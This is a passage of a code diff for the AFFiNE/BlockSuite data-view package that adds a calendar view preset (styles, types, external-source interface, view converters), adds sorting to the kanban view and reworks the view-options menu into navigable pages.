+  .calendar-empty-month-hint-action,
+  .calendar-empty-month-hint-close {
+    display: inline-flex;
+    align-items: center;
+    justify-content: center;
+    gap: 4px;
+    height: 24px;
+    padding: 3px 8px;
+    border: 0;
+    border-radius: 5px;
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 10%,
+      var(--affine-background-primary-color)
+    );
+    color: var(--affine-primary-color);
+    font-size: 12px;
+    font-weight: 500;
+    line-height: 18px;
+    cursor: pointer;
+  }
+
+  .calendar-empty-month-hint-close {
+    width: 24px;
+    padding: 4px;
+    background: transparent;
+    color: var(--affine-icon-secondary);
+  }
+
+  .calendar-empty-month-hint-close svg {
+    width: 14px;
+    height: 14px;
+  }
+
+  .calendar-empty-month-hint-action:hover,
+  .calendar-empty-month-hint-close:hover {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 16%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-setup-wrap {
+    position: relative;
+  }
+
+  .calendar-setup-wrap .calendar-shell {
+    filter: grayscale(1) blur(1px);
+    opacity: 0.55;
+    pointer-events: none;
+  }
+
+  .calendar-setup {
+    position: absolute;
+    inset: 0;
+    display: flex;
+    align-items: center;
+    justify-content: center;
+  }
+
+  .calendar-setup button {
+    height: 32px;
+    padding: 7px 12px;
+  }
+
+  .calendar-event-popover {
+    display: flex;
+    flex-direction: column;
+    gap: 4px;
+    width: 318px;
+    padding: 4px;
+    font-size: 13px;
+    line-height: 20px;
+  }
+
+  .calendar-event-popover-title {
+    padding: 2px 4px;
+    color: var(--affine-text-primary-color);
+    font-weight: 600;
+    font-size: 14px;
+    line-height: 22px;
+    margin-bottom: 2px;
+  }
+
+  .calendar-event-popover-row {
+    display: flex;
+    align-items: flex-start;
+    gap: 8px;
+    padding: 2px 4px;
+    color: var(--affine-text-secondary-color);
+  }
+
+  .calendar-event-popover-icon {
+    display: flex;
+    align-items: center;
+    flex: 0 0 16px;
+    height: 20px;
+    color: var(--affine-icon-secondary);
+  }
+
+  .calendar-event-popover-icon svg {
+    width: 16px;
+    height: 16px;
+  }
+
+  .calendar-event-popover-description {
+    white-space: pre-wrap;
+    word-break: break-word;
+  }
+`;

blocksuite/affine/data-view/src/view-presets/calendar/renderer.ts

@@ -0,0 +1,12 @@
+import './pc/effect.js';
+
+import { createIcon } from '../../core/utils/uni-icon.js';
+import type { DataViewUILogicBaseConstructor } from '../../core/view/data-view-base.js';
+import { calendarViewModel } from './define.js';
+import { CalendarViewUILogic } from './pc/view.js';
+
+export const calendarViewMeta = calendarViewModel.createMeta({
+  icon: createIcon('TodayIcon'),
+  pcLogic: () =>
+    CalendarViewUILogic as unknown as DataViewUILogicBaseConstructor,
+});

blocksuite/affine/data-view/src/view-presets/calendar/source.ts

@@ -0,0 +1,23 @@
+import { createIdentifier } from '@blocksuite/global/di';
+
+import type { DataSource } from '../../core/data-source/base.js';
+import type {
+  CalendarExternalSource,
+  CalendarStoredViewData,
+} from './types.js';
+
+export type CalendarExternalSourceFactory = {
+  id: string;
+  create(viewData: CalendarStoredViewData): CalendarExternalSource;
+};
+
+export const CalendarExternalSourceProvider =
+  createIdentifier<CalendarExternalSourceFactory>('calendar-external-source');
+
+export const getCalendarExternalSources = (
+  dataSource: DataSource,
+  viewData: CalendarStoredViewData
+) =>
+  Array.from(
+    dataSource.provider.getAll(CalendarExternalSourceProvider).values()
+  ).map(source => source.create(viewData));

blocksuite/affine/data-view/src/view-presets/calendar/types.ts

@@ -0,0 +1,97 @@
+import type { FilterGroup } from '../../core/filter/types.js';
+import type { Sort } from '../../core/sort/types.js';
+import type { BasicViewDataType } from '../../core/view/data-view.js';
+
+export type CalendarWorkspaceSourceConfig = {
+  enabled: boolean;
+  subscriptionIds?: string[];
+};
+
+export type CalendarUiData = {
+  emptyMonthHintDismissed?: boolean;
+};
+
+export type CalendarCardProperty = {
+  propertyId: string;
+  value: string;
+};
+
+export type CalendarTitleSegment = {
+  text: string;
+  linkedDoc?: boolean;
+};
+
+type CalendarViewDataShape = {
+  filter: FilterGroup;
+  sort?: Sort;
+  date: {
+    startColumnId?: string;
+    endColumnId?: string;
+  };
+  card: {
+    titleColumnId?: string;
+    visiblePropertyIds: string[];
+  };
+  sources: {
+    workspaceCalendar?: CalendarWorkspaceSourceConfig;
+  };
+  ui?: CalendarUiData;
+};
+
+export type CalendarViewData = BasicViewDataType<
+  'calendar',
+  CalendarViewDataShape
+>;
+
+export type CalendarStoredViewData = CalendarViewData;
+
+export type CalendarEntryBase = {
+  id: string;
+  sourceId: string;
+  title: string;
+  color?: string;
+  startAt: number;
+  endAt?: number;
+  allDay?: boolean;
+};
+
+export type CalendarRowEntry = CalendarEntryBase & {
+  kind: 'row';
+  sourceId: 'database';
+  rowId: string;
+  titleSegments?: CalendarTitleSegment[];
+  cardProperties: CalendarCardProperty[];
+  canResizeRange: boolean;
+};
+
+export type CalendarExternalEntry = CalendarEntryBase & {
+  kind: 'external';
+  sourceId: string;
+  externalId: string;
+  calendarName?: string;
+  location?: string;
+  description?: string;
+  canResizeRange: false;
+};
+
+export type CalendarEntry = CalendarRowEntry | CalendarExternalEntry;
+
+export type CalendarEntryRange = {
+  from: number;
+  to: number;
+};
+
+export type CalendarExternalSource = {
+  id: string;
+  getSubscriptionOptions?(): CalendarExternalSourceSubscription[];
+  openConnectSettings?(): void;
+  getEntries(
+    range: CalendarEntryRange
+  ): CalendarExternalEntry[] | Promise<CalendarExternalEntry[]>;
+};
+
+export type CalendarExternalSourceSubscription = {
+  id: string;
+  name: string;
+  color?: string;
+};

blocksuite/affine/data-view/src/view-presets/convert.ts

@@ -1,13 +1,45 @@
 import { createViewConvert } from '../core/view/convert.js';
+import { calendarViewModel } from './calendar/index.js';
 import { kanbanViewModel } from './kanban/index.js';
 import { tableViewModel } from './table/index.js';
 
+const headerToCalendarCard = (header?: { titleColumn?: string }) => ({
+  titleColumnId: header?.titleColumn,
+  visiblePropertyIds: [],
+});
+
+const calendarCardToHeader = (card?: { titleColumnId?: string }) => ({
+  titleColumn: card?.titleColumnId,
+});
+
 export const viewConverts = [
   createViewConvert(tableViewModel, kanbanViewModel, data => ({
     filter: data.filter,
+    header: data.header,
   })),
   createViewConvert(kanbanViewModel, tableViewModel, data => ({
     filter: data.filter,
+    header: data.header,
     groupBy: data.groupBy,
   })),
+  createViewConvert(tableViewModel, calendarViewModel, data => ({
+    filter: data.filter,
+    sort: data.sort,
+    card: headerToCalendarCard(data.header),
+  })),
+  createViewConvert(kanbanViewModel, calendarViewModel, data => ({
+    filter: data.filter,
+    sort: data.sort,
+    card: headerToCalendarCard(data.header),
+  })),
+  createViewConvert(calendarViewModel, tableViewModel, data => ({
+    filter: data.filter,
+    sort: data.sort,
+    header: calendarCardToHeader(data.card),
+  })),
+  createViewConvert(calendarViewModel, kanbanViewModel, data => ({
+    filter: data.filter,
+    sort: data.sort,
+    header: calendarCardToHeader(data.card),
+  })),
 ];

blocksuite/affine/data-view/src/view-presets/effect.ts

@@ -1,7 +1,9 @@
+import { calendarEffects } from './calendar/effect.js';
 import { kanbanEffects } from './kanban/effect.js';
 import { tableEffects } from './table/effect.js';
 
 export function viewPresetsEffects() {
+  calendarEffects();
   kanbanEffects();
   tableEffects();
 }

blocksuite/affine/data-view/src/view-presets/index.ts

@@ -1,6 +1,8 @@
+import { calendarViewMeta } from './calendar/index.js';
 import { kanbanViewMeta } from './kanban/index.js';
 import { tableViewMeta } from './table/index.js';
 
+export * from './calendar/index.js';
 export * from './convert.js';
 export * from './kanban/index.js';
 export * from './table/index.js';
@@ -8,4 +10,5 @@ export * from './table/index.js';
 export const viewPresets = {
   tableViewMeta: tableViewMeta,
   kanbanViewMeta: kanbanViewMeta,
+  calendarViewMeta: calendarViewMeta,
 };

blocksuite/affine/data-view/src/view-presets/kanban/kanban-view-manager.ts

@@ -15,7 +15,9 @@ import {
   sortByManually,
 } from '../../core/group-by/trait.js';
 import { fromJson } from '../../core/property/utils';
+import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
 import { PropertyBase } from '../../core/view-manager/property.js';
+import type { Row } from '../../core/view-manager/row.js';
 import { SingleViewBase } from '../../core/view-manager/single-view.js';
 import type { ViewManager } from '../../core/view-manager/view-manager.js';
 import type { KanbanViewColumn, KanbanViewData } from './define.js';
@@ -92,6 +94,19 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
     return this.data$.value?.filter ?? emptyFilterGroup;
   });
 
+  private readonly sortList$ = computed(() => {
+    return this.data$.value?.sort;
+  });
+
+  private readonly sortManager = this.traitSet(
+    sortTraitKey,
+    new SortManager(this.sortList$, this, {
+      setSortList: sortList => {
+        this.dataUpdate(data => ({ sort: { ...data.sort, ...sortList } }));
+      },
+    })
+  );
+
   filterTrait = this.traitSet(
     filterTraitKey,
     new FilterTrait(this.filter$, this, {
@@ -140,6 +155,7 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
         return asc === false ? sorted.reverse() : sorted;
       },
       sortRow: (key, rows) => {
+        if (this.sortManager.hasSort$.value) return rows;
         const property = this.view?.groupProperties.find(v => v.key === key);
         return sortByManually(
           rows,
@@ -359,6 +375,10 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
     return true;
   }
 
+  protected override rowsMapping(rows: Row[]): Row[] {
+    return this.sortManager.sort(super.rowsMapping(rows));
+  }
+
   propertyGetOrCreate(columnId: string): KanbanColumn {
     return new KanbanColumn(this, columnId);
   }

blocksuite/affine/data-view/src/widget-presets/tools/presets/view-options/view-options.ts

@@ -1,4 +1,5 @@
 import {
+  type Menu,
   menu,
   type MenuButtonData,
   type MenuConfig,
@@ -16,22 +17,22 @@ import {
   InfoIcon,
   LayoutIcon,
   MoreHorizontalIcon,
+  PlusIcon,
   SortIcon,
 } from '@blocksuite/icons/lit';
 import { autoPlacement, offset, shift } from '@floating-ui/dom';
+import { signal } from '@preact/signals-core';
 import { css, html } from 'lit';
 import { styleMap } from 'lit/directives/style-map.js';
 
-import { popPropertiesSetting } from '../../../../core/common/properties.js';
 import { filterTraitKey } from '../../../../core/filter/trait.js';
 import {
-  popGroupSetting,
-  popSelectGroupByProperty,
+  buildGroupSelectItems,
+  buildGroupSettingItems,
 } from '../../../../core/group-by/setting.js';
 import { groupTraitKey } from '../../../../core/group-by/trait.js';
 import {
   type DataViewUILogicBase,
-  emptyFilterGroup,
   popCreateFilter,
   renderUniLit,
 } from '../../../../core/index.js';
@@ -39,8 +40,6 @@ import { popCreateSort } from '../../../../core/sort/add-sort.js';
 import { sortTraitKey } from '../../../../core/sort/manager.js';
 import { createSortUtils } from '../../../../core/sort/utils.js';
 import { WidgetBase } from '../../../../core/widget/widget-base.js';
-import { popFilterRoot } from '../../../quick-setting-bar/filter/root-panel-view.js';
-import { popSortRoot } from '../../../quick-setting-bar/sort/root-panel.js';
 
 const styles = css`
   .affine-database-toolbar-item.more-action {
@@ -95,379 +94,486 @@ declare global {
     'data-view-header-tools-view-options': DataViewHeaderToolsViewOptions;
   }
 }
-const createSettingMenus = (
-  target: PopupTarget,
-  dataViewLogic: DataViewUILogicBase,
-  reopen: () => void,
-  closeMenu: () => void
-) => {
-  const view = dataViewLogic.view;
-  const settingItems: MenuConfig[] = [];
-  settingItems.push(
-    menu.action({
-      name: 'Properties',
-      prefix: InfoIcon(),
-      closeOnSelect: false,
-      postfix: html` <div style="font-size: 14px;">
-          ${view.properties$.value.length} shown
-        </div>
-        ${ArrowRightSmallIcon()}`,
-      select: () => {
-        popPropertiesSetting(
-          target,
-          {
-            view: view,
-            onBack: reopen,
-            onClose: closeMenu,
-          },
-          [
-            autoPlacement({ allowedPlacements: ['bottom-start', 'top-start'] }),
-            offset({ mainAxis: 15, crossAxis: -162 }),
-            shift({ crossAxis: true }),
-          ]
-        );
-      },
-    })
-  );
-  const filterTrait = view.traitGet(filterTraitKey);
-  if (filterTrait) {
-    const filterCount = filterTrait.filter$.value.conditions.length;
-    settingItems.push(
-      menu.action({
-        name: 'Filter',
-        prefix: FilterIcon(),
-        closeOnSelect: false,
-        postfix: html` <div style="font-size: 14px;">
-            ${filterCount === 0
-              ? ''
-              : filterCount === 1
-                ? '1 filter'
-                : `${filterCount} filters`}
-          </div>
-          ${ArrowRightSmallIcon()}`,
-        select: () => {
-          if (!filterTrait.filter$.value.conditions.length) {
-            popCreateFilter(
-              target,
-              {
-                vars: view.vars$,
-                onBack: reopen,
-                onClose: closeMenu,
-                onSelect: filter => {
-                  filterTrait.filterSet({
-                    ...(filterTrait.filter$.value ?? emptyFilterGroup),
-                    conditions: [
-                      ...filterTrait.filter$.value.conditions,
-                      filter,
-                    ],
-                  });
-                  popFilterRoot(
-                    target,
-                    {
-                      filterTrait: filterTrait,
-                      onBack: reopen,
-                      onClose: closeMenu,
-                      dataViewLogic: dataViewLogic,
-                    },
-                    [
-                      autoPlacement({
-                        allowedPlacements: ['bottom-start', 'top-start'],
-                      }),
-                      offset({ mainAxis: 15, crossAxis: -162 }),
-                      shift({ crossAxis: true }),
-                    ]
-                  );
-                  dataViewLogic.eventTrace('CreateDatabaseFilter', {});
-                },
-              },
-              {
-                middleware: [
-                  autoPlacement({
-                    allowedPlacements: ['bottom-start', 'top-start'],
-                  }),
-                  offset({ mainAxis: 15, crossAxis: -162 }),
-                  shift({ crossAxis: true }),
-                ],
-              }
-            );
-          } else {
-            popFilterRoot(
-              target,
-              {
-                filterTrait: filterTrait,
-                onBack: reopen,
-                onClose: closeMenu,
-                dataViewLogic: dataViewLogic,
-              },
-              [
-                autoPlacement({
-                  allowedPlacements: ['bottom-start', 'top-start'],
-                }),
-                offset({ mainAxis: 15, crossAxis: -162 }),
-                shift({ crossAxis: true }),
-              ]
-            );
-          }
-        },
-      })
-    );
-  }
-  const sortTrait = view.traitGet(sortTraitKey);
-  if (sortTrait) {
-    const sortCount = sortTrait.sortList$.value.length;
-    settingItems.push(
-      menu.action({
-        name: 'Sort',
-        prefix: SortIcon(),
-        closeOnSelect: false,
-        postfix: html` <div style="font-size: 14px;">
-            ${sortCount === 0
-              ? ''
-              : sortCount === 1
-                ? '1 sort'
-                : `${sortCount} sorts`}
-          </div>
-          ${ArrowRightSmallIcon()}`,
-        select: () => {
-          const sortList = sortTrait.sortList$.value;
-          const sortUtils = createSortUtils(
-            sortTrait,
-            dataViewLogic.eventTrace
-          );
-          if (!sortList.length) {
-            popCreateSort(
-              target,
-              {
-                sortUtils: sortUtils,
-                onBack: reopen,
-                onClose: closeMenu,
-              },
-              {
-                middleware: [
-                  autoPlacement({
-                    allowedPlacements: ['bottom-start', 'top-start'],
-                  }),
-                  offset({ mainAxis: 15, crossAxis: -162 }),
-                  shift({ crossAxis: true }),
-                ],
-              }
-            );
-          } else {
-            popSortRoot(
-              target,
-              {
-                sortUtils: sortUtils,
-                title: {
-                  text: 'Sort',
-                  onBack: reopen,
-                  onClose: closeMenu,
-                },
-              },
-              [
-                autoPlacement({
-                  allowedPlacements: ['bottom-start', 'top-start'],
-                }),
-                offset({ mainAxis: 15, crossAxis: -162 }),
-                shift({ crossAxis: true }),
-              ]
-            );
-          }
-        },
-      })
-    );
-  }
-  const groupTrait = view.traitGet(groupTraitKey);
-  if (groupTrait) {
-    settingItems.push(
-      menu.action({
-        name: 'Group',
-        prefix: GroupingIcon(),
-        closeOnSelect: false,
-        postfix: html` <div style="font-size: 14px;">
-            ${groupTrait.property$.value?.name$.value ?? ''}
-          </div>
-          ${ArrowRightSmallIcon()}`,
-        select: () => {
-          const groupBy = groupTrait.property$.value;
-          if (!groupBy) {
-            popSelectGroupByProperty(
-              target,
-              groupTrait,
-              {
-                onSelect: () =>
-                  popGroupSetting(target, groupTrait, reopen, closeMenu, [
-                    autoPlacement({
-                      allowedPlacements: ['bottom-start', 'top-start'],
-                    }),
-                    offset({ mainAxis: 15, crossAxis: -162 }),
-                    shift({ crossAxis: true }),
-                  ]),
-                onBack: reopen,
-                onClose: closeMenu,
-              },
-              [
-                autoPlacement({
-                  allowedPlacements: ['bottom-start', 'top-start'],
-                }),
-                offset({ mainAxis: 15, crossAxis: -162 }),
-                shift({ crossAxis: true }),
-              ]
-            );
-          } else {
-            popGroupSetting(target, groupTrait, reopen, closeMenu, [
-              autoPlacement({
-                allowedPlacements: ['bottom-start', 'top-start'],
-              }),
-              offset({ mainAxis: 15, crossAxis: -162 }),
-              shift({ crossAxis: true }),
-            ]);
-          }
-        },
-      })
-    );
-  }
-  return settingItems;
+type Page =
+  | 'main'
+  | 'properties'
+  | 'filter'
+  | 'sort'
+  | 'group'
+  | 'group-select'
+  | 'custom';
+
+const pageTitles: Record<Exclude<Page, 'custom'>, string> = {
+  main: 'View settings',
+  properties: 'Properties',
+  filter: 'Filter',
+  sort: 'Sort',
+  group: 'Group',
+  'group-select': 'Group by',
 };
+
 export const popViewOptions = (
   target: PopupTarget,
   dataViewLogic: DataViewUILogicBase,
   onClose?: () => void
 ) => {
   const view = dataViewLogic.view;
-  const reopen = () => {
-    popViewOptions(target, dataViewLogic);
-  };
-  let handler: ReturnType<typeof popMenu>;
-  const items: MenuConfig[] = [];
-  items.push(
-    menu.input({
-      initialValue: view.name$.value,
-      placeholder: 'View name',
-      onChange: text => {
-        view.nameSet(text);
-      },
-    })
-  );
-  items.push(
-    menu.group({
-      items: [
-        menu => {
-          const viewTypeItems = menu.renderItems(
-            view.manager.viewMetas.map<MenuConfig>(meta => {
-              return menu => {
-                if (!menu.search(meta.model.defaultName)) {
-                  return;
-                }
-                const isSelected =
-                  meta.type === view.manager.currentView$.value?.type;
-                const iconStyle = styleMap({
-                  fontSize: '24px',
-                  color: isSelected
-                    ? 'var(--affine-text-emphasis-color)'
-                    : 'var(--affine-icon-secondary)',
-                });
-                const textStyle = styleMap({
-                  fontSize: '14px',
-                  lineHeight: '22px',
-                  color: isSelected
-                    ? 'var(--affine-text-emphasis-color)'
-                    : 'var(--affine-text-secondary-color)',
-                });
-                const buttonData: MenuButtonData = {
-                  content: () => html`
-                    <div
-                      style="width:100%;display: flex;flex-direction: column;align-items: center;justify-content: center;padding: 6px 16px;white-space: nowrap"
-                    >
-                      <div style="${iconStyle}">
-                        ${renderUniLit(meta.renderer.icon)}
-                      </div>
-                      <div style="${textStyle}">${meta.model.defaultName}</div>
-                    </div>
-                  `,
-                  select: () => {
-                    const id = view.manager.currentViewId$.value;
-                    if (!id || meta.type === view.type) {
-                      return;
-                    }
-                    view.manager.viewChangeType(id, meta.type);
-                    dataViewLogic.clearSelection();
-                  },
-                  class: {},
-                };
-                const containerStyle = styleMap({
-                  flex: '1',
-                });
-                return html`<affine-menu-button
-                  style="${containerStyle}"
-                  .data="${buttonData}"
-                  .menu="${menu}"
-                ></affine-menu-button>`;
-              };
-            })
-          );
-          if (!viewTypeItems.length) {
-            return html``;
-          }
-          return html`
-            <div style="display:flex;align-items:center;gap:8px;padding:0 2px;">
-              <div
-                style="display:flex;align-items:center;color:var(--affine-icon-color);"
-              >
-                ${LayoutIcon()}
-              </div>
-              <div
-                style="font-size:14px;line-height:22px;color:var(--affine-text-secondary-color);"
-              >
-                Layout
-              </div>
-            </div>
-            <div style="display:flex;gap:8px;margin-top:8px;">
-              ${viewTypeItems}
-            </div>
-          `;
-        },
-      ],
-    })
-  );
 
-  items.push(
-    menu.group({
-      items: createSettingMenus(target, dataViewLogic, reopen, () =>
-        handler.close()
-      ),
-    })
-  );
-  items.push(
+  const currentPage = signal<Page>('main');
+  const pageStack: Page[] = ['main'];
+
+  let menuHandler!: ReturnType<typeof popMenu>;
+  let mainPageHeight: number | null = null;
+  let customPageTitle = '';
+  let customPageItems: () => MenuConfig[] = () => [];
+
+  const isDesktopMenu = () =>
+    menuHandler.menu.menuElement.tagName.toLowerCase() === 'affine-menu';
+
+  const navigate = (page: Page) => {
+    if (!isDesktopMenu()) {
+      pageStack.push(page);
+      currentPage.value = page;
+      return;
+    }
+    if (mainPageHeight === null) {
+      mainPageHeight =
+        menuHandler.menu.menuElement.getBoundingClientRect().height;
+    }
+    menuHandler.menu.menuElement.style.height = `${mainPageHeight}px`;
+    pageStack.push(page);
+    currentPage.value = page;
+  };
+
+  const goBack = () => {
+    if (pageStack.length > 1) {
+      pageStack.pop();
+      const dest = pageStack[pageStack.length - 1] ?? 'main';
+      currentPage.value = dest;
+      if (dest === 'main') {
+        menuHandler.menu.menuElement.style.height = '';
+      }
+    }
+  };
+
+  const navigateToCustomPage = (
+    title: string,
+    getItems: () => MenuConfig[]
+  ) => {
+    customPageTitle = title;
+    customPageItems = getItems;
+    navigate('custom');
+  };
+
+  const titleConfig = {
+    get text() {
+      if (currentPage.value === 'custom') return customPageTitle;
+      return (
+        pageTitles[currentPage.value as Exclude<Page, 'custom'>] ??
+        'View settings'
+      );
+    },
+    get onBack(): ((menu: Menu) => false) | undefined {
+      return currentPage.value !== 'main'
+        ? (_: Menu) => {
+            goBack();
+            return false;
+          }
+        : undefined;
+    },
+    get postfix() {
+      if (currentPage.value !== 'properties') return undefined;
+      const items = view.propertiesRaw$.value;
+      const isAllShowed = items.every(p => !p.hide$.value);
+      const clickChangeAll = () => {
+        items.forEach(p => {
+          if (p.hideCanSet) p.hideSet(isAllShowed);
+        });
+      };
+      return () =>
+        html`<div
+          class="properties-group-op"
+          style="padding:4px 8px;font-size:12px;line-height:20px;font-weight:500;border-radius:4px;cursor:pointer;color:var(--affine-primary-color);"
+          @click="${clickChangeAll}"
+        >
+          ${isAllShowed ? 'Hide All' : 'Show All'}
+        </div>`;
+    },
+    get onClose() {
+      return () => menuHandler?.menu.close();
+    },
+  };
+
+  const getPropertiesPageItems = (): MenuConfig[] => [
     menu.group({
       items: [
-        menu.action({
-          name: 'Duplicate',
-          prefix: DuplicateIcon(),
-          closeOnSelect: false,
-          select: () => {
-            view.duplicate();
-          },
-        }),
-        menu.action({
-          name: 'Delete',
-          prefix: DeleteIcon(),
-          closeOnSelect: false,
-          select: () => {
-            view.delete();
-          },
-          class: { 'delete-item': true },
-        }),
+        () =>
+          html`<data-view-properties-setting
+            .view="${view}"
+          ></data-view-properties-setting>`,
       ],
-    })
-  );
-  handler = popMenu(target, {
+    }),
+  ];
+
+  const getFilterPageItems = (): MenuConfig[] => {
+    const filterTrait = view.traitGet(filterTraitKey);
+    if (!filterTrait) return getMainPageItems();
+    return [
+      menu.group({
+        items: [
+          () =>
+            html`<filter-root-view
+              .onBack="${goBack}"
+              .vars="${view.vars$}"
+              .filterGroup="${filterTrait.filter$}"
+              .onChange="${filterTrait.filterSet}"
+            ></filter-root-view>`,
+        ],
+      }),
+      menu.group({
+        items: [
+          menu.action({
+            name: 'Add',
+            prefix: PlusIcon(),
+            select: ele => {
+              const value = filterTrait.filter$.value;
+              popCreateFilter(popupTargetFromElement(ele), {
+                vars: view.vars$,
+                onSelect: filter => {
+                  filterTrait.filterSet({
+                    ...value,
+                    conditions: [...value.conditions, filter],
+                  });
+                  dataViewLogic.eventTrace('CreateDatabaseFilter', {});
+                },
+              });
+              return false;
+            },
+          }),
+        ],
+      }),
+    ];
+  };
+
+  const getSortPageItems = (): MenuConfig[] => {
+    const sortTrait = view.traitGet(sortTraitKey);
+    if (!sortTrait) return getMainPageItems();
+    const sortUtils = createSortUtils(sortTrait, dataViewLogic.eventTrace);
+    return [
+      () => html`<sort-root-view .sortUtils="${sortUtils}"></sort-root-view>`,
+      menu.action({
+        name: 'Add sort',
+        prefix: PlusIcon(),
+        select: ele => {
+          popCreateSort(popupTargetFromElement(ele), { sortUtils });
+          return false;
+        },
+      }),
+      menu.action({
+        name: 'Delete',
+        class: { 'delete-item': true },
+        prefix: DeleteIcon(),
+        select: () => {
+          sortUtils.removeAll();
+        },
+      }),
+    ];
+  };
+
+  const getGroupPageItems = (): MenuConfig[] => {
+    const groupTrait = view.traitGet(groupTraitKey);
+    if (!groupTrait) return getMainPageItems();
+    const gProp = groupTrait.property$.value;
+    if (!gProp) return [];
+    return buildGroupSettingItems(
+      groupTrait,
+      () => navigate('group-select'),
+      () => navigate('main')
+    );
+  };
+
+  const getGroupSelectPageItems = (): MenuConfig[] => {
+    const groupTrait = view.traitGet(groupTraitKey);
+    if (!groupTrait) return getMainPageItems();
+    return buildGroupSelectItems(groupTrait, id => {
+      if (id) {
+        if (pageStack.at(-1) === 'group-select') {
+          pageStack[pageStack.length - 1] = 'group';
+        } else {
+          pageStack.push('group');
+        }
+        currentPage.value = 'group';
+      } else {
+        while (pageStack.length > 1) pageStack.pop();
+        currentPage.value = 'main';
+      }
+    });
+  };
+
+  const getMainPageItems = (): MenuConfig[] => {
+    const items: MenuConfig[] = [];
+
+    items.push(
+      menu.input({
+        initialValue: view.name$.value,
+        placeholder: 'View name',
+        disableAutoFocus: true,
+        onChange: text => {
+          view.nameSet(text);
+        },
+      })
+    );
+
+    items.push(
+      menu.group({
+        items: [
+          menuObj => {
+            const viewTypeItems = menuObj.renderItems(
+              view.manager.viewMetas.map<MenuConfig>(meta => {
+                return menuObj => {
+                  if (!menuObj.search(meta.model.defaultName)) {
+                    return;
+                  }
+                  const isSelected =
+                    meta.type === view.manager.currentView$.value?.type;
+                  const iconStyle = styleMap({
+                    fontSize: '24px',
+                    color: isSelected
+                      ? 'var(--affine-text-emphasis-color)'
+                      : 'var(--affine-icon-secondary)',
+                  });
+                  const textStyle = styleMap({
+                    fontSize: '14px',
+                    lineHeight: '22px',
+                    color: isSelected
+                      ? 'var(--affine-text-emphasis-color)'
+                      : 'var(--affine-text-secondary-color)',
+                  });
+                  const buttonData: MenuButtonData = {
+                    content: () => html`
+                      <div
+                        style="width:100%;min-width:0;display: flex;flex-direction: column;align-items: center;justify-content: center;padding: 6px 4px;white-space: nowrap;box-sizing:border-box;"
+                      >
+                        <div style="${iconStyle}">
+                          ${renderUniLit(meta.renderer.icon)}
+                        </div>
+                        <div style="${textStyle}">
+                          ${meta.model.defaultName}
+                        </div>
+                      </div>
+                    `,
+                    select: () => {
+                      const id = view.manager.currentViewId$.value;
+                      if (!id || meta.type === view.type) {
+                        return;
+                      }
+                      view.manager.viewChangeType(id, meta.type);
+                      dataViewLogic.clearSelection();
+                    },
+                    class: {},
+                  };
+                  const containerStyle = styleMap({
+                    flex: '1',
+                  });
+                  return html`<affine-menu-button
+                    style="${containerStyle}"
+                    .data="${buttonData}"
+                    .menu="${menuObj}"
+                  ></affine-menu-button>`;
+                };
+              })
+            );
+            if (!viewTypeItems.length) {
+              return html``;
+            }
+            return html`
+              <div
+                style="display:flex;align-items:center;gap:8px;padding:0 2px;"
+              >
+                <div
+                  style="display:flex;align-items:center;color:var(--affine-icon-color);"
+                >
+                  ${LayoutIcon()}
+                </div>
+                <div
+                  style="font-size:14px;line-height:22px;color:var(--affine-text-secondary-color);"
+                >
+                  Layout
+                </div>
+              </div>
+              <div style="display:flex;gap:4px;margin-top:8px;">
+                ${viewTypeItems}
+              </div>
+            `;
+          },
+        ],
+      })
+    );
+
+    const settingItems: MenuConfig[] = [];
+
+    settingItems.push(
+      menu.action({
+        name: 'Properties',
+        prefix: InfoIcon(),
+        closeOnSelect: false,
+        postfix: html`
+          <div style="font-size: 14px;">
+            ${view.properties$.value.length} shown
+          </div>
+          ${ArrowRightSmallIcon()}
+        `,
+        select: () => {
+          navigate('properties');
+          return false;
+        },
+      })
+    );
+
+    const filterTrait = view.traitGet(filterTraitKey);
+    if (filterTrait) {
+      const filterCount = filterTrait.filter$.value.conditions.length;
+      settingItems.push(
+        menu.action({
+          name: 'Filter',
+          prefix: FilterIcon(),
+          closeOnSelect: false,
+          postfix: html`
+            <div style="font-size: 14px;">
+              ${filterCount === 0
+                ? ''
+                : filterCount === 1
+                  ? '1 active'
+                  : `${filterCount} active`}
+            </div>
+            ${ArrowRightSmallIcon()}
+          `,
+          select: () => {
+            navigate('filter');
+            return false;
+          },
+        })
+      );
+    }
+
+    const sortTrait = view.traitGet(sortTraitKey);
+    if (sortTrait) {
+      const sortCount = sortTrait.sortList$.value.length;
+      settingItems.push(
+        menu.action({
+          name: 'Sort',
+          prefix: SortIcon(),
+          closeOnSelect: false,
+          postfix: html`
+            <div style="font-size: 14px;">
+              ${sortCount === 0
+                ? ''
+                : sortCount === 1
+                  ? '1 active'
+                  : `${sortCount} active`}
+            </div>
+            ${ArrowRightSmallIcon()}
+          `,
+          select: () => {
+            navigate('sort');
+            return false;
+          },
+        })
+      );
+    }
+
+    const groupTrait = view.traitGet(groupTraitKey);
+    if (groupTrait) {
+      settingItems.push(
+        menu.action({
+          name: 'Group',
+          prefix: GroupingIcon(),
+          closeOnSelect: false,
+          postfix: html`
+            <div style="font-size: 14px;">
+              ${groupTrait.property$.value?.name$.value ?? ''}
+            </div>
+            ${ArrowRightSmallIcon()}
+          `,
+          select: () => {
+            const hasGroup = !!groupTrait.property$.value;
+            navigate(hasGroup ? 'group' : 'group-select');
+            return false;
+          },
+        })
+      );
+    }
+
+    items.push(menu.group({ items: settingItems }));
+
+    const viewSpecificItems =
+      (
+        dataViewLogic as DataViewUILogicBase & {
+          getViewOptionsSettingItems?: (
+            navigateToSubPage?: (
+              title: string,
+              getItems: () => MenuConfig[]
+            ) => void,
+            goBack?: () => void
+          ) => MenuConfig[];
+        }
+      ).getViewOptionsSettingItems?.(navigateToCustomPage, goBack) ?? [];
+
+    if (viewSpecificItems.length) {
+      items.push(menu.group({ items: viewSpecificItems }));
+    }
+
+    items.push(
+      menu.group({
+        items: [
+          menu.action({
+            name: 'Duplicate view',
+            prefix: DuplicateIcon(),
+            closeOnSelect: false,
+            select: () => {
+              view.duplicate();
+            },
+          }),
+          menu.action({
+            name: 'Delete view',
+            prefix: DeleteIcon(),
+            closeOnSelect: false,
+            select: () => {
+              view.delete();
+            },
+            class: { 'delete-item': true },
+          }),
+        ],
+      })
+    );
+
